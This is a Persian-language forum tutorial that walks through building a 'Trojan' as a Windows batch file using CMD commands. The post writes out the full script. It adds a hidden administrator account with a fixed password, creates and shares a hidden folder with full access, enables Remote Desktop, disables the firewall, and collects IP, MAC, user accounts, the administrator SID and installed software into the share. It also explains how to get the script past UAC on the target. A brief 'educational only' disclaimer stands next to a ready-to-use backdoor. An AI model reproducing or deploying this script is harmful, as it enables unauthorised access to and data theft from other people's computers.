1. برای کسب اطلاعات بیشتر در ساعات 9 الی 13 و 16 الی 18 با شماره 08138270182 یا 09353637799 تماس حاصل فرمایید.
    آدرس ایمیل: info@wsnlab.ir
    آدرس کانال تلگرام http://telegram.me/gloriot
  2. بدین وسیله به اطلاع پژوهشگران محترم می رسانیم که آزمایشگاه اینترنت اشیاء ایران راه اندازی شد. از این پس می توانید با شماره تلفن همراه 09353637799 با لابراتوار در تماس باشید.

آموزش ساخت Trojan با فرمان های CMD

شروع موضوع توسط هیوا نوآوران داده گستر 4/8/15 در انجمن انجمن شبکه های کامپیوتری

تلفن سفارش: 08138311237 تلفن سفارش: 08138311237
  1. هیوا نوآوران داده گستر کاربر معمولی

    تاریخ عضویت:
    27/1/14
    تعداد ارسال ها:
    111
    تشکر شده:
    3
    امتیاز دستاورد:
    18
    وب سایت:


    آموزش ساخت Trojan با فرمان های CMD
    [IMG]

    سلام به همه شما دوستان و همراهان همیشگی هیوا

    در این آموزش، می خواهیم با فرمان های CMD یک Trojan ساده و بی درد سر بسازیم. تروجان ما فقط یک سری اطلاعات را برای ما جمع آوری می کند و راه دسترسی به آن اطلاعات و اطلاعات دیگر را هم فراهم می کند. اگر دوست داشتید می توانید کارهای بیشتری را بر دوش این تروجان بگذارید. کل کارهایی که تروجان کوچولوی ما انجام می دهد به قرار زیر است:

    تروجان ما چه کارهایی انجام می دهد؟
    1. ایجاد یک User جدید با دسترسی Admin در کامپیوتر هدف
    2. ایجاد یک پوشه مخفی در درایو ویندوز و Share کردن آن به صورت مخفی با دسترسی User جدید.
    3. فعال کردن Sharing
    4. فعال سازی قابلیت Remote Desktop در کامپیوتر هدف
    5. خاموش کردن Password Protected File Sharing
    6. خاموش کردن فایروال
    7. جمع آوری اطلاعات کامپیوتر شامل موارد زیر:
    IP ،Computer Name ، MAC Address ، لیست کاربران، لیست منابع Share شده

    و انتقال آن ها به پوشه share شده در درایو ویندوز با نام همان کامپیوتر
    8. لیست برنامه های نصب شده و ورژن آن در کامپیوتر هدف
    قبل از شروع:
    مواردی که در این مقاله گفته شده فقط جنبه آموزشی دارد و استفاده نادرست از آن به عهده کاربر است.
    در این آموزش فقط از فرمان های CMD استفاده شده و از هیچ زبان برنامه نویسی و ابزار خاصی استفاده نشده است.

    شروع ساخت Trojan

    یک فایل Text ایجاد کنید و فرمان های زیر را در آن بنویسید:

    1 – ایجاد یک User جدید با دسترسی Admin
    Net user iman 123456 /add
    Net localgroup administrators iman /add

    2 – الف - ایجاد یک پوشه مخفی در درایو ویندوز
    Mkdir c:\Hiva-folder
    c:
    cd\
    attrib hiva-folder +h
    2 – ب – Share کردن آن پوشه به صورت مخفی
    net share trojan-share$=c:\hiva-folder /grant:iman,full /grant:everyone,full
    3 – فعال کردن File and Printer Sharing
    netsh firewall set service type = fileandprint mode = enable

    4 – فعال کردن Remote Desktop در کامپیوتر هدف
    netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

    5 – به عهده شما ! ( می توانید این مورد را حذف کنید )

    6 – خاموش کردن فایروال
    Netsh advfirewall set allprofile state off

    7 – گرفتن اطلاعات IP ، MAC Address ، لیست کاربران، لیست منابع Share و SID اکانت Administrator
    ipconfig >>c:\Hiva-folder\%computername%.txt
    getmac >>c:\Hiva-folder\%computername%.txt
    net user >>c:\Hiva-folder\%computername%.txt
    net share >>c:\Hiva-folder\%computername%.txt
    wmic useraccount where name='administrator' get sid >>c:\Hiva-folder\%computername%.txt

    8 – لیست برنامه های نصب شده بر روی سیستم هدف
    Wmic product get name,version >> c:\Hiva-folder\%computername%.txt

    9 - خب حالا عبارت @echo off را در اولین خط این فایل text قرار دهید.

    10 - این فایل text را با نام dear-tro و پسوند .bat ذخیره کنید.


    نمایی از محتویات فایل dear-tro.bat در برنامه notepad++
    [IMG]


    مرحله هیجان انگیز کار
    برای اطمینان از این که Trojan کار می کند، یک بار آن را اجرا می کنیم.

    [IMG]

    همه فرمان ها با خطا روبرو می شوند!

    چرا این اتفاق افتاد؟
    چون فرمان هایی که در این Batch-file به کار بردیم برای اجرا شدن نیاز به دسترسی سطح Admin دارند.

    حالا برای حلش چه کار کنیم؟
    2 راه حل دارید!
    روش اول:Batch-file را در کامپیوتر هدف Run as administrator کنید:

    [IMG]

    روش دوم:UAC یا User Account Control را در پایین ترین سطح قرار دهید:

    1. در استارت عبارت UAC را جستجو کنید.
    2. Scroll را در پایین ترین سطح قرار دهید.
    [IMG]
    3. کامپیوتر را یک بار Restart کنید.

    لطفاً انجمن را به دوستان خود معرفی نمایید تا محیطی پویا تر داشته باشیم.
  2. مشاوره، آموزش و پیاده سازی پروژه های شبکه های موردی، شبکه حسگر بی سیم و انواع شبکه های کامپیوتری . برای کسب اطلاعات بیشتر با شماره 08138270182 تماس بگیرید. .

به اشتراک بگذارید